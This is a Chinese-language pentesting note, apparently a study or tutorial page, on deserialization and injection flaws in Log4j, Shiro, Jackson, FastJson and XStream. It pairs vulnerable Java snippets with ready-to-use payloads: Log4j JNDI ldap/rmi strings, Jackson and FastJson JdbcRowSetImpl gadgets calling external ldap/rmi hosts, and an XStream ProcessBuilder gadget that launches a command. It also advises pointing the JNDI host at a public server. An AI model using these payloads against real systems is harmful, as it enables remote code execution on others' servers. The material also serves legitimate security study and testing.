文章目录
- 不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
- Log4j
- Shiro
- Jackson
- FastJson
- XStream
不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
Log4j
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public String log4j(String content) {
logger.error(content);
return "Log4j2 JNDI Injection";
}
Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),
该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
payloadxxxx
${jndi:rmi://xxxx:1099/xy9t54}
${jndi:ldap://xxxxx:1389/qerodw}
弹计算器本地才能发现,所以我们检测是否为注入可以 yakit dns 外带。
Shiro
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
登录抓包复制地址
Jackson
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,
攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(content, Object.class);
payload
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]
把 jndi 部分替换成公网
FastJson
历史漏洞:https://avd.aliyun.com/search?q=fastjson
Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean
JSONObject jsonToObject = JSON.parseObject(content);
return jsonToObject.get("name").toString();
版本可以从外部导入库查看也可查看 pom.xml 配置文件
payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}
XStream
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。
历史漏洞:https://avd.aliyun.com/search?q=XStream
XStream xs = new XStream();
xs.fromXML(content);
payload
这个倒是没用到 jndi,
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>